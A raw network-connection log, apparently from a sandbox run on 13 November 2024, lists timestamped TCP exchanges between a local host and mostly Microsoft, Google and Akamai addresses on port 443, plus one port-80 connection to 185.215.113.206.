Nov 13, 2024 14:41:19.628115892 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.628150940 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.628160954 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.628173113 CET	49751	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.628177881 CET	443	49751	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.630923033 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.630959988 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.631083965 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.631273031 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.631285906 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.668140888 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.710190058 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.710887909 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.710954905 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.711333036 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.711338997 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.738601923 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.738713026 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.738843918 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.738878965 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.738895893 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.738909006 CET	49754	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.738914967 CET	443	49754	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.741724968 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.741755962 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.741837025 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.741945028 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:19.741955042 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:19.742002964 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:19.742177010 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.742185116 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.742235899 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:19.742264986 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:19.766706944 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.767268896 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.767299891 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.767726898 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.767731905 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.808814049 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.811705112 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.811744928 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.812230110 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.812236071 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.813139915 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:19.839648962 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.839986086 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.840080023 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.840183020 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.840190887 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.840202093 CET	49755	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.840207100 CET	443	49755	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.843427896 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.843449116 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.843566895 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.850733995 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.850745916 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.859327078 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:19.877026081 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877079010 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877110958 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877134085 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877151966 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877165079 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.877185106 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.877222061 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.877232075 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.877281904 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.886055946 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.886112928 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.886126995 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.902420044 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.902498007 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.902559042 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.902710915 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.902729988 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.902739048 CET	49757	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.902745008 CET	443	49757	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.905868053 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.905919075 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.905994892 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.906121969 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.906136036 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.934187889 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.934201002 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.939541101 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.939661026 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.939738035 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.939893007 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.939923048 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.939939976 CET	49758	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.939949036 CET	443	49758	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.942842960 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.942939997 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.943033934 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.943247080 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:19.943283081 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:19.981045961 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.994244099 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.994314909 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:19.994605064 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:19.994637012 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.007482052 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.007533073 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.007539988 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.012855053 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.012902975 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.012909889 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.022242069 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.022296906 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.022313118 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.031336069 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.031402111 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.031410933 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.041104078 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.041173935 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.041182995 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.050208092 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.050267935 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.050275087 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.060246944 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.060343027 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.060350895 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.068958998 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.069036007 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.069046021 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.110660076 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.110701084 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.110734940 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.110754013 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.110768080 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.110795021 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.111010075 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.111043930 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.111053944 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.111062050 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.111114979 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.124634981 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.124700069 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.124753952 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.124766111 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.139856100 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.139931917 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.139947891 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.144820929 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.144880056 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.144886971 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.154365063 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.154433966 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.154442072 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.166888952 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.166951895 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.166963100 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.187906027 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.187984943 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.187995911 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.188046932 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188065052 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188074112 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188098907 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188154936 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.188157082 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188182116 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.188199997 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.188199997 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.188498974 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.197438955 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.197523117 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.197534084 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.197643995 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.197705984 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.197715998 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.211936951 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.211996078 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.212003946 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.216744900 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.216810942 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.216818094 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.221524000 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.221587896 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.221595049 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.221678972 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.221837997 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.221846104 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.226385117 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.226468086 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.226663113 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.226674080 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.226722002 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.231072903 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.235905886 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.235975027 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.235984087 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.236068010 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.236165047 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.236171961 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.241152048 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.241204023 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.241213083 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.246669054 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.279088020 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.279148102 CET	443	49744	4.245.163.56	192.168.2.7
Nov 13, 2024 14:41:20.279367924 CET	49744	443	192.168.2.7	4.245.163.56
Nov 13, 2024 14:41:20.309470892 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.361398935 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.362103939 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.362114906 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.362562895 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.362566948 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.379435062 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.379506111 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.379535913 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.379561901 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.379580975 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.379600048 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.379618883 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.380108118 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380165100 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.380172968 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380234957 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380284071 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.380290985 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380740881 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380825043 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.380875111 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.380882978 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.381194115 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.381200075 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.381675005 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.381717920 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.381725073 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.381803036 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.381849051 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.381855011 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.383333921 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.383388042 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.383394957 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.413065910 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.413126945 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.414670944 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.414680958 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.414999008 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.434463024 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.434493065 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.435348988 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.435694933 CET	443	49753	142.250.185.78	192.168.2.7
Nov 13, 2024 14:41:20.435770988 CET	49753	443	192.168.2.7	142.250.185.78
Nov 13, 2024 14:41:20.457618952 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.481837034 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.482754946 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.482777119 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.483216047 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.483230114 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.497606993 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.497678041 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.497745991 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.498106003 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.498106003 CET	49763	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.498120070 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.498128891 CET	443	49763	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.499346972 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.501770020 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.501871109 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.502131939 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.502384901 CET	49772	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.502427101 CET	443	49772	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.569925070 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.570656061 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.570667982 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.571136951 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.571141958 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.583275080 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.583571911 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.583590984 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.583988905 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.584085941 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.584717989 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.584774971 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.585798979 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.585871935 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.586127996 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.586150885 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.586178064 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.631330013 CET	443	49765	142.250.185.206	192.168.2.7
Nov 13, 2024 14:41:20.637587070 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.637691975 CET	49765	443	192.168.2.7	142.250.185.206
Nov 13, 2024 14:41:20.638120890 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.638139009 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.638582945 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.638587952 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.666683912 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.667057991 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.667185068 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.667185068 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.667223930 CET	49764	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.667242050 CET	443	49764	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.669733047 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.669773102 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.669855118 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.670137882 CET	49773	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.670151949 CET	443	49773	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.691133022 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.691606998 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.691627979 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.693371058 CET	49770	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.693382025 CET	443	49770	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.709748983 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.709794044 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:20.709815979 CET	443	49767	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.709940910 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:20.710004091 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.710004091 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.710004091 CET	49767	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.710777044 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.710922956 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.710990906 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.711299896 CET	49762	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.711319923 CET	443	49762	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.714648008 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.714750051 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.714838982 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.714996099 CET	49774	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.715027094 CET	443	49774	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.751909018 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.751931906 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.752172947 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.752424955 CET	49775	443	192.168.2.7	184.28.90.27
Nov 13, 2024 14:41:20.752435923 CET	443	49775	184.28.90.27	192.168.2.7
Nov 13, 2024 14:41:20.767163992 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.767335892 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.767422915 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.767519951 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.767519951 CET	49769	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.767539978 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.767551899 CET	443	49769	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.770095110 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.770123005 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.770176888 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.770396948 CET	49776	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:20.770409107 CET	443	49776	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:20.781606913 CET	49761	80	192.168.2.7	185.215.113.206
